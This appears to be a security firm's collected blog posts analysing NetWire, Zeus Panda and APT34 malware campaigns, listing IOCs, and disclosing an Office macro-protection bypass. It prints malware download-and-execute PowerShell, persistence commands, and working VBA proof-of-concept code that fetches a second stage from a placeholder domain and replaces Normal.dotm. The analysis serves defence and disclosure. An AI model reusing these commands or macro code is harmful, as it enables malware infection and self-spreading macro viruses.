FedEx MalSpam pushing NetWire RAT – MISP Info


During a Threat Detection activity on customer infrastructure, we have observed an interesting MalSpam Campaign that spread, as a final payload, the Netwire or Quasar RAT.

Both are RATs (Remote Access Trojans), that usually allow the master to fully control the infected machines.

Infection Chain:

  1. E-Mail with link to Word Document
  2. The Word Document (Macro-enabled) downloads another doc from “fast-cargo .com”
  3. The newly downloaded Document (Macro-enabled) downloads a VBS script
  4. The VBS script downloads NetWire Remote Access Trojan

The NetWire version used by the attackers is the v1.7a R10.

Persistence mechanism:

schtasks.exe /Create /SC MINUTE /TN "Covering2" /TR "%APPDATA%\Laryngotome.exe"



MISP Event: misp.event.5503.5aa6a37e-5ff4-43e3-902b-621bd45b5092.xml

STIX v1: misp.stix.event5503.xml


Final Payload – IOC

Dropped file SHA256 98fac688969ed9ed79ff37ecf0d311895ff864d00613ce013f51ae67fb2ccb1a
Domain contacted extensions14718sec. sytes. net
Domain contacted extensions14718. sytes. net
IP contacted 212.7.208. 131

Threat related to:

Panda Banker hits Italy – Analysis Part 3


This is the third and last part of the analysis of the Zeus Panda banker discovered inside the network of our customers thanks to our system “CyberAlastair sensor”.
In part 1 we have analyzed the initial infection vector that leverages the old-school Microsoft Office VBA macro to download a .exe from a  C&C. While in part 2 we have formulated a couple of hypothesis about the malware behavior by analyzing the sample statically and we have eventually validated some of them dynamically thanks to a sandbox environment and a manual analysis with a debugger. Moreover, in the latter blog post we have exposed some of the evasion tricks implemented by the malware in order to hinder our analysis, and finally , we managed to arrive at the final payload.

In this last blog post we are going to show the injection mechanism exploited by the binary in order to execute stealthily in a seemingly innocent process, the persistence method used in order to execute the malware even after a reboot of the infected system and a couple of other details about this last stage. Finally, we are going to briefly discuss about the malicious activity that the malware can do inside a system and we provide all the IOC needed in order to discover and defend your environment from this threat.

Process Injection

During tha last phase of the analysis we have discovered that the new binary copied inside C:\Users\%USER%\AppData\Roaming\Notepad++\plugins\config\ launches two new svchost processes.

What is going on here is that the malware is surely exploiting some kind of process injection mechanism in order to execute malicious code inside a clean svchost process. Lots of different process injection techniques exist there and some of them are well documented, these techniques are usually used in order to accomplish 2 objectives:

  1. Evade AV and endpoint security systems.
  2. Excute stealthily on the machine by basically having no process directly related to the malware itself and so hindering a possible forensic analysis.

In order to discover the technique implemented here we are going to use API-Monitor to trace all the WinAPI called by this second stage.
So let’s launch API-Monitor, configure it to trace our program – in this run the dropped binary was called Vim Dark Blue.exe -, start it and continue the tracing until we are going to see the two new svchost processes.

After this, let’s kill the svchost processes -we don’t want to run the malware payload now on our machine- and let’s investigate the WinAPI trace collected.
Searching for a CreateProcess inside the trace show this result:

Investigating the attributes of this call, we can see that this is indeed the creation of the first svchost.exe process and the returned handle for this created process is 0x1e0.
We can also notice that the process is created in SUSPENDED mode since the CreateThreadFlags is set to 0x1 ( THREAD_CREATE_FLAGS_CREATE_SUSPENDED according to the header file ntsapi.h)

Few rows below, some interesting things happen: a couple of NtWriteVirtualMemory with process handle 0x1e0, some NtProtectVirtualMemory with PAGE_EXECUTE_READWRITE permissions -always against the same process- and finally a NtCreateThreadEx followed by a NtResumeThread.

Good, it seems that we have our process injection technique: the malware allocates some memory inside the suspended process svchost, then writes new code inside it, turns that page executable and eventually creates and resumes a new thread as a target of the newly injected code!
It turns out that the same technique is used in order to inject code inside the second svchost.
Now, in addition to this, let’s see inside our debugger what actually the malware has injected. In order to do this, we are going to put a breakpoint on the CreateProcessW and then we run the sample.

We know from the previous analysis of the trace that the malware is going to write something inside this process memory, create a new thread and then resume the execution of that thread in the process.
In order to visualize what is happening, we are going to let the malware create the suspended process, then we spawn ProcessHacker and we visualize its memory mapping.

After that, we are going to put a breakpoint on NtCreateThreadEx and continue the execution.
Let’s now refresh the memory mapping and let’s see what happen.

A new RWX memory region starting from 0x8000 to 0x9bff0 (112kb) has been mapped inside the svchost process address space.
And, guess what, where does the new Thread entry point start? According to the WinApi documentation:

typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer

we need to dump the 5th parameter of the stack in order to have this information. It turns out that this address is exactly in that RWX memory region and it is: 0x895bc.

Great, we have the malicious thread entry point into the remote process!
In order to understand what the thread is going to execute, we put a breakpoint on NtResumeThread, then we attach a new instance of the debugger on the svchost process and put another breakpoint on the entry point we have discovered before: 0x895bc.

Finally, let’s resume the execution on Vim Dark Blue.exe and we should hit our break inside the remote process.

It seems that this is a big shellcode that will set up the process to eventually execute the malicious payload of the malware.
We can replicate the same procedure in order to analyze what is injected inside the second svchost process since the injection technique is exactly the same.

Anyway, now that we have covered the injection technique let’s forget this final payload for a moment and let’s focus on another topic: the persistence method exploited by the malware in order to survive a reboot of the system.

Persistence Technique

As you probably know there are lots of persistence techniques.
Unfortunately, we don’t have any information from our sandbox since the sample evades it, so we are going to use a simple trick in order to discover it by leveraging autoruns.exe!
Autoruns is a great tool in the swiss-army-knife of a malware analyst, since it shows you lots of different places in which programs are going to be executed during the startup of the operating system. If we have lazy malware authors, we are probably going to spot the persistence technique implemented here simply by using this tool.

First of all, let’s roll back our machine in a clean state, then we are going to follow the procedure explained in post 2 in order to bypass evasion and let the malware drop our second stage again.
Now let’s open autoruns and when it finishes collecting data on the machine – give it a couple of seconds – we are going to save the current state ( .arn ) with File->Save.

Now let’s run the second stage of the malware, let the two svchost processes spawn and, after this, let’s terminate them.
Now we are going to use the function “Compare” of autoruns.exe in order to compare the current state of the machine with the pre-infection state and let’s see if we can spot any difference.

Well, well, it seems that we have spotted the persistence technique very easily, and yes, we have a lazy malware author here.

Malware Network Traffic

One of the golden prices an analyst can win while reversing such kind of backdoors is the domain/IP of the malware’s C&C, since it allows to develop network signatures useful to defend infrastructures against this threat and eventually issue a takedown of the C&C, in order to stop the malware infection as soon as possible.
During our malware analysis sessions, we want to understand quickly if our sample contacts any C&C and, if so, whether they still answer back with valid data or not; indeed, it sometimes happens that either the campaign is already finished and our bot has been banned, or the C&C has/have already been taken down and so our sample can’t receive any more instructions from the mother ship.

The download of the malware documented in part 1 was in HTTPS, so we expect this behavior also while communicating with C&C.
In order to intercept this, we are going to route all the traffic of the infected Windows VM to another Linux VM in which we have Burpsuite HTTP/HTTPS proxy running; we are also going to install the burp certificate ( .der ) as a Trusted Root Certification Authority inside the Windows victim machine in order to allow our proxy to MITM HTTPS communications, if any.
After this configuration, let’s launch the malware and see if something pops up in Burp.

Yeah, HTTPS network traffic as predicted!
Unfortunately, as we can see, the HTTPS request receives as answer a 502 Bad Gateway: it seems that this C&C is not alive anymore.

After a couple of minutes we can see a couples of other requests:

It seems that the malware tries to contact one of its C&C every 5 minutes. Since we don’t want to spend all the afternoon watching the malware do what it likes, we have forced the algorithm to contact a domain after a fail attempt every 1 minute instead of 5 – we opted for 1 minute since it’s a safe interval that won’t risk destroying any synchronization mechanism inside the malware logic -.
In this way we have extracted in a matter of minutes all the C&C that the malware tries to contact by default:

As we feared, either all the C&C have been taken down or the campaign has ended and the bad guys have switched off the C&C servers. This means that we can’t download dynamic configuration for this sample and we can’t actually see all its actions.

From the HTTPS requests, we can formulate some hypothesis about this initial network traffic of the malware:

  • There is a connection attempt every 5 minutes.
  • URLs are generated dynamically.
  • The body of the POST probably contains the same data – encrypted and encoded in base64 – since its length is always the same.
  • There is a list of pre-configured different C&C servers that the malware uses as a mother ship.

The network information collected in this session regarding the C&C, even though they are not answering back, is really useful to understand if your machine has ever been fully compromised by this Panda banker campaign. In fact, if you spot a 200 OK answer from a request to one of this addresses you can assume that the machine was compromised.

Final Payload & Malware Functionality

As said before, the malicious payloads are injected into the two svchost processes.
Without entering too much into the pure technical details of the code – it would require a separate blog post since there are super interesting things like unpacking procedures and techniques for dynamic resolution of WinAPI – we are more interested here in the big picture of the sample; so let’s investigate a little bit the trace that we have collected with APIMonitor.

We can see that the entry point address of the thread with ID 1 – the first launched by the process – is the one we have discovered during the analysis of the process injection technique. In addition, we see a couple of other threads, chance is that these are launched by Thread 1.
Following this intuition, let’s search for the CreateThread WinAPI inside the trace.


Indeed, we can see calls to CreateThread WinAPI related to the other threads discovered in the trace.

Most of the discovered threads don’t detonate since, as said before, we are missing the dynamic configuration from the C&C. However, thanks to the analysis of the traces collected with API monitor, we can formulate a couple of hypotheses:

  • Thread3 is responsible for the persistence mechanism over the infected machine
  • Thread4 activities are strictly related to the webinject features of the malware
  • Thread5 is responsible for contacting the C&C and downloading the dynamic configuration and further infection payloads

The activities of all these threads eventually implement all the malicious tasks that Panda banker is capable of:

  1. Injection of malicious javascript code inside a bank’s site, which is capable of stealing sensitive data used to make further fraudolent transactions.
  2. Credential theft from various software such as browsers and FTP clients.
  3. Possibility to transform the infected machine in a SOCKS proxy to cover other illegal activities of the bad guys.
  4. Drop other malware inside the infrastructure of the victim (as for example ransomware or miners).
  5. Possibility to fully control the machine by exploiting a VNC module.


Further investigation and analysis

A couple of interesting analyses have been made during the year 2017 regarding Zeus Panda.
Some of them analyze deeply the payloads and all the dynamic configuration retrieved by the malware during the bootstrap, we strongly recommend the readings to whoever is interested in this kind of threat:




Dropped file Md5 7D898B1260C0EA760C1DE7D586CF8527
RegValue “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Tysuca\Ivvuutza”
RegValue “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Tysuca\Oqgiloe”
RegValue “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<malware_file>”
Domain contacted
Domain contacted
Domain contacted
Domain contacted
IP contacted
IP contacted
 IP contacted
 IP contacted



In this series of blog posts, we have analyzed one of the most complex banking trojan in the wild. Its capabilities are not only limited to stealing sensitive information from end users pc, but they can also be a serious threat inside any company network since it can be used as an open backdoor to deploy new malware like ransomware or cryptocurrency miners.

Contact us for any further information:


Panda Banker hits Italy – Analysis Part 2


In part 1 of this series of blog posts about Zeus Panda, we have analyzed the infection vector of the attack explaining how a simple click on “Enable Content” on a seemingly harmless document will trigger the execution of a malicious VBA macro code and consequently the execution of an obfuscated Powershell script that eventually downloads and launches a .exe that represents the second stage of this attack.

In this second blog post we are going to analyze better what the Powershell script has downloaded by showing a possible way to detonate the malware in a controlled environment and expose its mechanism.

Static Analysis

Before any dynamic analysis or automated sandbox analysis, we usually invest a bit of our time to study the sample statically.
This step is usually worth an analyst’s time since it can give you interesting and useful insight into what you are going to ‘fight’; also, this step allows you to start formulating some hypotheses about the malware behavior, its anti-analysis techniques and many other useful hints that will help during a manual dynamic analysis – if needed.

First things first, let’s drop the executable inside PE-Studio in order to perform an initial malware assessment.

The first information that we can grab here is that this is a 32 bit binary with an old compilation timestamp – probably faked – that tries to disguise itself as a legit product with the description: “Initialized Component Authenticated Pocket Syntactic”.

Detection on VT during the last days of the malware campaign – last analysis at 12-12-2017 – is quite low, this probably means that we are going to fight with a malware that will use some tricks in order to remain under the radar of AV – injection techniques, packing, evasion.

Let’s re-submit the sample on VT and let’s see at the time of writing if something changes…

Good, detection on VT is pretty high now. The signatures seem to agree on the fact that this is a Trojan and in particular Zbot – another alias for Zeus – with a mention to Panda.

File version information reveals a product name “CarpalTelemetry” and an owner Company called “Moo0“. It seems that this company actually exists and develops utilities for Windows. However, this can’t be obviously used as attribution since this could be fake.

Let’s now investigate a bit the structure of the PE, starting from its sections.

We have pretty common sections names here, the only thing that we notice is that the .rsrc section has got an entropy value of nearly 7, this could indicate that there are possibly some encrypted resources, let’s check them indeed.

Our hypothesis was correct, we have 5 resources of type “RPDATA” with an interesting high entropy; These binary blobs could contain anything from configuration files for the malware, to new packed code or any other kind of data. However, let’s forget this for a moment, let’s keep in mind that we expect the malware to access this data sooner or later during the execution.

Then, let’s take a look at the imports of the file.

From the list of imports we can formulate a couple of hypotheses:

  1. LoadLibrary and GetProcAddress make us think that the malware will use dynamic resolution of Windows API in order to hide its real imported functions and therefore its real intentions.
  2. CreateToolhelp32Snapshot and Process32Next make us expect that the malware, sooner or later, will enumerate the processes on the system.
  3.  CreateFileW will be used to drop new files on the infected system
  4.  FindResource, LoadResource and WinAPI related to resources in general strengthen our hypothesis that the malware will sooner or later access the encrypted resources.

Obviously, these are only weak hypotheses, but they can give us a first direction in the next steps of the analysis.

Finally, this binary was compiled in debug mode since we have a string that reveals a .pdb path: “C:\Kennel\Typewriter\sees.pdb“.

Now that we have a couple of base hypotheses about our possible enemy’s behavior, it’s time to actually fight him.

Dynamic Analysis | Sandbox 

An automated analysis of a sample inside a sandbox is usually our first approach to understand the malware activity in a system.
We have analyzed the sample inside our own sandbox, however, you can also find a public report here.

The sandbox report is quite bare, no network activity and from the process tree we can see only an execution of a .bat script.

Our sandbox reports us the contents of this .bat as:

@echo off
del /F /Q “C:\Users\******\AppData\Local\Temp\localappdata.exe”
if exist “C:\Users\******\AppData\Local\Temp\localappdata.exe” goto d
del /F “C:\Users\******\AppData\Local\Temp\upd8ad90570.bat”

Well, it seems that the sample deleted itself after basically doing nothing…this smells of evasion!
There are tons of evasion techniques, anyway as a first insight on what are the techniques implemented here, we can use our hypothesis formulated before and take a look into the created file – it is possible to detect an analysis environment by checking for particular files.

Well, well, we have this strange CreateFileW and when checking online for this path, we discover that these are typical checks leveraged in order to discover sandbox environment, interesting.
Additional interesting information regards checks for the presence of the following mutex objects:

It seems that our malware doesn’t want to see Sandboxie and Deep Freeze on the victim machine.

With this new information, it’s time to drop the sample inside a debugger and try to bypass all these evasion techniques to finally reach our goal: seeing the real face of our enemy!

Dynamic Analysis | Debugger

We are going to use x32dbg inside our own VM for malware analysis. Remember to snapshot the VM before any activity and then let’s open the sample and stop the execution at the EntryPoint.

We are going to put breakpoints on the CreateFileW and CreateFileA, then let’s run the sample with F9 until we can see that we are trying to access one of the files we have identified before.

Here we are, the malware checks if popupkiller.exe is inside the system by trying to open it with the CreateFileW functions. Since we have no such file inside our VM this is going to fail, but let’s run it until it returns from this call and let’s see where we are.

The code is really explicit here, it is going to check if the previous CreateFile fails or not and, if it fails, it is going to check the LastError value and expect to see an ERROR_FILE_NOT_FOUND ( 0x2 ) or an ERROR_PATH_NOT_FOUND ( 0x3 ). If the error is not the one expected or the open didn’t fail, it is going to set the bl register to 0x1 and return. This latter variable is used in order to signal the fact that the execution must be terminated since an analyst environment has been detected.

Given that, let’s continue the execution and let’s see if any of these file checks will trigger any of the conditions that the malware expects in order to evade the analysis.

Ah! The check for this file (probably related to the presence of Wireshark on the machine) triggers an ERROR_SEEK that the malware didn’t expect in its checks and this is one of the causes of the termination of the program. We are going to step the code and patch the bl register with 0x0 when it will be set to 0x1 in order to bypass this.

Now, since we don’t know what’s next, let’s put a couple of breakpoints on these functions:

  • CreateToolhelp32Snapshot
  • Process32Next
  • CreateProcess

The first two breaks are justified since we made the hypothesis about process enumeration, the last one is a safe assumption that sooner or later the malware will spawn a new process.

After a hit on CreateToolhelp32Snapshot, if we continue the execution we hit Process32Next. Here the code grabs the name of the process and eventually execute a StrStrI in order to check the name of the process with – in this case – “Wireshark”.

This procedure is repeated for all the processes in the blacklist of the malware:

  • wireshark
  • immunity
  • processhacker
  • processexplorer
  • procmon
  • idaq
  • regshot
  • aut2.exe
  • perl
  • python

We have no process active right now with any of these names, so we can disable breaks on CreateToolhelp32Snapshot/Process32Next and resume execution with F9.

Continuing the execution we hit CreateFile a couple of times again. The malware checks for the presence of these device names related to RegMon:

  • “\\.\REGVXG”
  • “\\\\.\\REGSYS”

Checks related to FileMon:

  • “\\\\.\\FILEVXG”
  •  “\\.\FILEM”

And finally for a device name related to a debugger included in Windows 9x-based platforms

  • “\\.\TRW”

After these checks, the malware drops 4 new files in a subfolder picked from C:\Users\%USER%\AppData\Roaming\, in this run the picked folder is C:\Users\%USER%\AppData\Roaming\Notepad++\plugins\config\ and the 4 files are:

  • data_3.ipo
  • data_3.qiv
  • data_2.ihi
  • Obsidian.exe

The name of these files and the folder picked up are randomly generated and selected with an internal algorithm not documented here.
We expect that sooner or later something will be written inside these files, so let’s put a breakpoint on the function WriteFile and let’s continue the execution.

Bam! Hit the break on the WriteFile, let’s analyze the parameters of this WinApi and let’s see what we are writing inside it.
According to msdn, WriteFile has the following prototype:

_In_ HANDLE hFile,
_In_ LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped

dumping the input parameters from the stack we have:

  • hFile: 0x1cc
  •  lpBuffer: 0x390000
  •  nNumberOfBytesToWrite: 0x3f600 ( 259584 bytes )

So we are writing bytes from 0x390000 to 0x3CF600 inside that file.
Following the address in the memory dump, we can see, unsurprisingly, an MZ header and so a full PE file following.

Let’s dump these bytes with the command:

savedata “C:\Users\%USER%\Desktop\dump.exe”,0x390000,0x3f600

finally, let’s open the file with CFFexplorer:

MD5 is identical to the original dropped file, it seems that this was merely an attempt to copy the original file inside the path picked up initially.
Let’s continue the execution.

After some other hits on CreateFile – used in order to check if everything has been set up correctly – the malware calls a CreateProcess with the Obsidian.exe as target.

Finally, two new svchost.exe processes show up, it seems that we have arrived at the final payload! – data_2.exe is the same as obsidian.exe, the name of this copy is random and changes from execution to execution.

We are pretty sure that some kind of injection techniques has been used here in order to have a seemingly legit process called “svchost.exe” executing malware payload instead.
But wait, aren’t we missing something? If the PE launched is exactly the same as before, why the malware changes behavior dynamically? How does it know that it has already made the evasion checks and the initial setup?

Let’s check the two ProcMon traces side by side. The trick that we usually do here is to start from the bottom of the trace and scroll up until the traces are identical, the reason of the divergence should lay more or less there ( don’t get confused, config.exe is always obsidian.exe, but as said before it has another name because it is a different execution )

Ah! It seems that the malware decides to start or not the evasion routine based on that IRP_MJ_QUERY_EA – you can see that in the trace of the original file this query fails and so the malware starts the evasion routine with the checks presented before- but what exactly does this query mean?
Let’s investigate the event a bit:

So this event has been generated by a call to ZwQueryEaFile.
According to MSDN, this API “returns information about extended-attribute (EA) values for a file”.
These are not exactly ADS, tools like AlternateStreamView don’t find anything indeed.

In order to see this attributes, we are going to use EAQuery64:

Bingo, we can see that the newly-copied PE has indeed an EA attribute called “DATA”, while the originally dropped malware has none. In particular, this seems an encrypted binary blob – entropy is indeed quite high:

So, this seems to be the mechanism that our bad guys are using in order to understand whether they need to activate the evasion routines, or whether they have already set up the environment and they have to trigger the machine infection.
We can indeed see the call to NtSetEaFile after the copy of the malware has been created inside the random folder picked up during startup:

This post ends here, in the next one we are going to analyze this new stage of the malware, what process injection techniques are used in order to make the two svchost processes execute malicious code and eventually we are going to do a brief description of the malicious activities that this malware can do on the victim’s machine.

Stay tuned and stay safe.

Panda Banker hits Italy – Analysis Part 1


During the analysis of network traffic collected inside the network of one of our customers by our system “Cyber Alastair sensor”, we have identified an HTTP request to a domain that immediately triggers our attention:
Further threat intelligence investigations reveal that this domain is strictly related to the infamous Zeus Panda banking malware that hit Italy in the last few months, as reported also by malwaretraffic back in November.

Zeus Panda is a particularly nasty piece of software, derived from the infamous Zeus trojan, that hit the news several times this year, as reported also by the guys at, since it provides threat actors with a lot of different ways to monetize infected hosts: from banks credentials stealing to keylogging and SOCKS proxy capabilities.

In this series of blog posts we are going to analyze the malware infection in all its stages – from the infection vector to the dissection of the final payload – in order to understand the techniques used to remain a persistent threat inside the system, the methods exploited in order to exfiltrate information from the infected machine, the evasion techniques leveraged by the malware to hinder its analysis, and eventually all the IOC useful to expose such kind of infections inside your network.

Infection Vector

The infection vector used to deliver this threat is the old school Microsoft Office document containing an embedded VBA macro.
The document arrived attached to a phishing e-mail that tried to persuade the victim to think that there are some kind of debts to pay and they need to be set up urgently, this simple trick is often – unfortunately – enough to exploit the panic/curiosity of the receiver and led him/her to open the document.

Once the document has been opened we can see this:

The only thing that separates us from the infection is the click on that button “Enable Content” since VBA macros are not executed automatically by default. Obviously, the document tries to persuade us to click on it by presenting a kind of partial document. This is not one of the most complex
phishing techniques that we have seen used to fool the victim to enable the macro code but, hey, it works.

So, long story short: if the victim finally decides that the hidden contents inside the document is worth his/her click on “Enable Content”, the embedded VBA macro code is eventually executed and the show begins.

Infection Analysis

We can inspect the content of the VBA macro code both statically with tools like oletool, or dynamically by actually executing the macro inside the VBA interpreter embedded in Microsoft Office Excel. The latter technique is the one we are going to use here. Let’s disable the network inside our virtual machine – we don’t want to actually download the other stage of the malware now, but only analyze the macro code – then let’s click on “Enable Content” and finally let’s open the VBA Macro by navigating to View -> Macro -> View Macros -> Edit.

The function Workbook_Open() will execute when the Microsoft Excel document opens, executing through the command ‘Shell’ the string returned from the function ‘hawaiii’ that composes the final string leveraging all the other functions. This kind of simple obfuscation techniques are used in order to bypass automatic analysis systems and possibly AV signature, avoiding to hardcode the malicious command in the macro code but rather composing it with clever tricks. However, in this particular case, we have really basic and simple obfuscation techniques to protect the malicious command so we won’t waste our time analyzing them but rather we will skip all this mess by using a simple and neat dodge to dump the command executed.

We are going to supersede the ‘Shell’ command with a strategic ‘Debug.Print’ in order to dump the content of the string in our debug console, then we execute the macro to finally have our malicious command.

We have a slightly obfuscated Powershell command here:

poweRSheLL -NoniNTeRaCtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen “do{sleep 15;(.(\”{2}{0}{1}\” -f’-o’,’bject’,’new’) (\”{1}{3}{5}{0}{2}{4}\” -f’t’,’syst’,’.webclie’,’em’,’nt’,’.ne’)).(‘d’+’ow’+’nloadfil’+’e’).Invoke(‘’,’%localappdata%.exe’)}while(!$?);&(\”{0}{2}{1}\”-f’star’,’ss’,’t-proce’) ‘%localappdata%.exe'”

Ah! Here we can see exactly the domain we saw inside our customer’s network.
The Powershell command sleeps for 15 seconds – yet another technique used to try to timeout and bypass security products – and then uses a simple string composition technique to create the final command that will download a file from, save it to %localappdata%” – that is actually an alias for “%USERPROFILE%\AppData\Local – and eventually execute it.

At the time of writing the C&C at doesn’t serve anymore the second stage, however, we can recover it thanks to a not so old analysis of our document at hybrid-analysis.

From the process tree, we can see our Powershell command and the execution of the downloaded .exe.

Expanding the window we can retrieve the hash of the downloaded .exe: MD5,7d898b1260c0ea760c1de7d586cf8527
We can search it on VirusTotal, hoping that somebody uploaded it recently.


This post ends here, in the next one we are going to analyze the second stage of the infection.

Stay tuned and stay safe.


Document MD5 6F80250650199B6BF26E9C8022EEB09A
Document Name
Domain contacted
HTTP Request
Dropped .exe MD5 7D898B1260C0EA760C1DE7D586CF8527



APT34 – Cyber Espionage Group

FireEye ha recentemente tracciato i movimenti di un gruppo di Cyber Espionage Iraniano, a cui è stato assegnato il nome di APT 34.

Il gruppo, attivo dal 2014, sfrutta Backdoor in Powershell come principale strumento offensivo. Da diversi anni, tramite attacchi di Spear Phishing e l’utilizzo di utenze compromesse, colpisce realtà di diversi settori quali enti governativi e finanziari oltre che industrie e telecomunicazioni.

Nella più recente campagna Malware gli attaccanti sfruttano la vulnerabilità CVE-2017-11882 di Microsoft Office per eseguire codice arbitrario sui sistemi vulnerabili.

Ad oggi, 11/12/2017, i server di Malware Staging e C2 risultano attivi nella distribuzione dei file malevoli sotto elencati, indicando quindi la possibilità che queste campagne siano tuttora in corso.

Di seguito i Network IOC per individuare eventuali attacchi alla propria infrastruttura legati all’ultima campagna Malware di APT34.

Network IOCs:

Domain / IP Address Description
hxxp://media-center[.]fun Malware Staging Server (InTheCyber)
hpserver[.]online C2
anyportals[.]com C2
proxycheker[.]pro C2
hxxp://mumbai-m[.]site POWRUNER C2
hxxp://dns-update[.]club Malware Staging Server Malware Staging Server Has resolved mumbai-m[.]site & hpserver[.]online Has resolved mumbai-m[.]site and dns-update[.]club Has resolved dns-update[.]club Has resolved dns-update[.]club Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com

Overview tecnica:

La prima infezione avviene tramite l’apertura del documento con estensione “.rtf” contenente l’exploit dell’ultima vulnerabilità di Microsoft Office identificata dal CVE 2017-11882. Tale vulnerabilità risiede nella componente utilizzata per l’inserimento e la valutazione delle formule matematiche, Equation Editor (EQNEDT32.EXE).

Ulteriori informazioni:


Dopo l’esecuzione del codice, viene richiamato il processo “mshta.exe” che , a sua volta, effettua il download ed esegue gli script malevoli ottenuti dal sito internet  “hxxp://mumbai-m[.]site/b.txt”.

POWRUNER Attack Sequence

Lo script “b.txt” contiene comandi PowerShell per scaricare da “hxxp://dns-update[.]club/v.txt” un ulteriore script che viene rinominato da “v.txt” a “v.vbs”.

A questo punto, lo script “v.vbs” inserisce nella directory “C:\ProgramData\Windows\Microsoft\java\” 4 componenti (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs).

Sfruttando il tool di Microsft “CertUtil.exe”, “v.vbs” decodifica le componenti precedenti droppando gli script “hUpdateCheckers.ps1” e “dUpdateCheckers.ps1” "cmd.exe /C certutil -f  -decode C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.base C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.ps1", 0,false

Per ottenere la persistenza sul sistema coinvolto, viene creato uno Scheduled Task per “GoogleUpdateschecker.vbs“, richiamato ogni 60 secondi e che sfrutta i file “dUpdateCheckers.ps1” e “hUpdateCheckers.ps1” per le funzionalità di controllo remoto (sfruttando anche un DGA per comunicare con i server di Comando e Controllo).

InTheCyber Analysis:

Grazie alla condivisione delle informazioni di FireEye, InTheCyber ha avviato analisi e controlli sulle infrastrutture Difese e sui sistemi degli attaccanti.

E’ stato possibile individuare ulteriori script PowerShell da cui è stato estratto un ulteriore dominio malevolo utilizzato nelle fasi di Staging dell’infezione (hxxp://media-center[.]fun).

Le analisi sono tutt’ora in corso con particolare attenzione a possibili attacchi ad infrastrutture Italiane.


New Threat – Business E-Mail Compromise

Durante l’attività di ricerca e di Incident Response, il CyberSecurity Center di InTheCyber ha evidenziato un aumento degli attacchi di tipo “Business E-Mail Compromise” (o “truffa del CEO”) in cui i truffatori, dopo aver sottratto le credenziali di posta tramite attacchi Phishing, inviano richieste di modifica delle coordinate bancarie ai clienti o fornitori dell’azienda coinvolta, tentando di dirottare somme di denaro su conti correnti esteri.

InTheCyber ha tracciato i movimenti di un gruppo criminale che ha preso di mira diverse società, in particolare aziende in Europa e Cina.

Modus Operandi:

Il gruppo invia e-mail di Phishing da un indirizzo IP in Georgia, falsificando il Mittente, con allegati  rinominati:

  • %Random%.pdf.html
  • %Random%.xlsx.htm

Indicatori di Compromissione (IOC):
Le credenziali così catturate, vengono inviate ad una pagina “.php” ospitata sul sito internet:

  • microsoftexcelsyn . 000webhostapp . com

Warning: L’accesso al dominio dimostra la probabile compromissione dell’utenza


ITC consiglia :

  • controllare accessi al sito internet “microsoftexcelsyn…”

 Se positivo:

  • resettare la password di accesso alla casella Mail degli utenti coinvolti
  • individuare la Mail e l’allegato malevolo
  • bonificare la postazione coinvolta
  • contattare i clienti/fornitori esposti per aumentare awareness

InTheCyber attualmente sta collaborando con gli enti preposti.

Per eventuale supporto è possibile contattare: blueteam[at]

MS Office Security protection bypass allows the creation of “Self-replicating Macro-based Malwares”

Brief history

After the proliferation of infamous Macro Viruses (e.g. Melissa), more than a decade ago Microsoft implemented a security protection that should have blocked the possibility to create again self-replicating code called “Trust access to the VBA project object model”.

In fact, according to the explanation available at the URL:, “Trust access to the VBA project object model , disallow or allow programmatic access to the Visual Basic for Applications (VBA) object model from an automation client. This security option is for code written to automate an Office program and manipulate the VBA environment and object model. It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code. For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box.”

Findings: Ability to bypass the limit to create self-replication macro code

We found that it is possible to create a macro that enables the “Trust access to the VBA project object model” flag. It will then be possible to create self-replicating code, obtaining a new and working version of the infamous Melissa Macro Virus.

Substantially, it looks like Macros were put in a cage, locked down, but the key was forgotten inside the cage.

Technical description

Once “Trust access to the VBA project object model” flag is checked, the registry key named “AccessVBOM” available inside “HKCU:\Software\Microsoft\Office\<<version>>\Word\Security”, will be set to “1”.

Powershell to the rescue!

The following simple snippet of VBA macro code changes the value of the registry, allowing to create self-replicating code:

Dim enableTrust As Variant

Trust = “powershell Set-ItemProperty -Path “”HKCU:\Software\Microsoft\Office\15.0\Word\Security”” -Name AccessVBOM -Value 1″

enableTrust = Shell(Trust, 0)

The change has effect only after the restart of the Word process, however this is not a big deal. It was possible to create a 2-stage attack that can exploit this vulnerability in order to create a self-replicating Macro Virus:

First stage code

‘download of the second stage (a malicious normal.dotm)

Dim ExecDown As Variant

Dim Download As String

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

FileName = strHomeFolder & “\Microsoft\Templates\Normal.dotm”

FileName2 = strHomeFolder & “\Microsoft\Templates\Normal2.dotm”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage2″” -OutFile ” & FileName2

ExecDown = Shell(Download, 0)

‘scheduling of a task that substitute original normal.dotm file with the malicious one

Ora_X = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 1 & “:” & Second(Now))

PKill = “Schtasks /Create /SC ONCE /ST ” & Ora_X & ” /TN “”PKillTask”” /TR “”taskkill /f /t /im winword.exe”” /F”

Ora_Y = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 2 & “:” & Second(Now))

ExecPKill = Shell(PKill, 0)

Substitution = “SchTasks /Create /SC ONCE /ST ” & Ora_Y & ” /TN “”SubstitutionTask”” /TR “”cmd /c copy ” & FileName2 & ” ” & FileName & ” /Y”” /F”

ExecSub = Shell(Substitution, 0)

Second stage (normal.dotm) code

‘download of the first stage

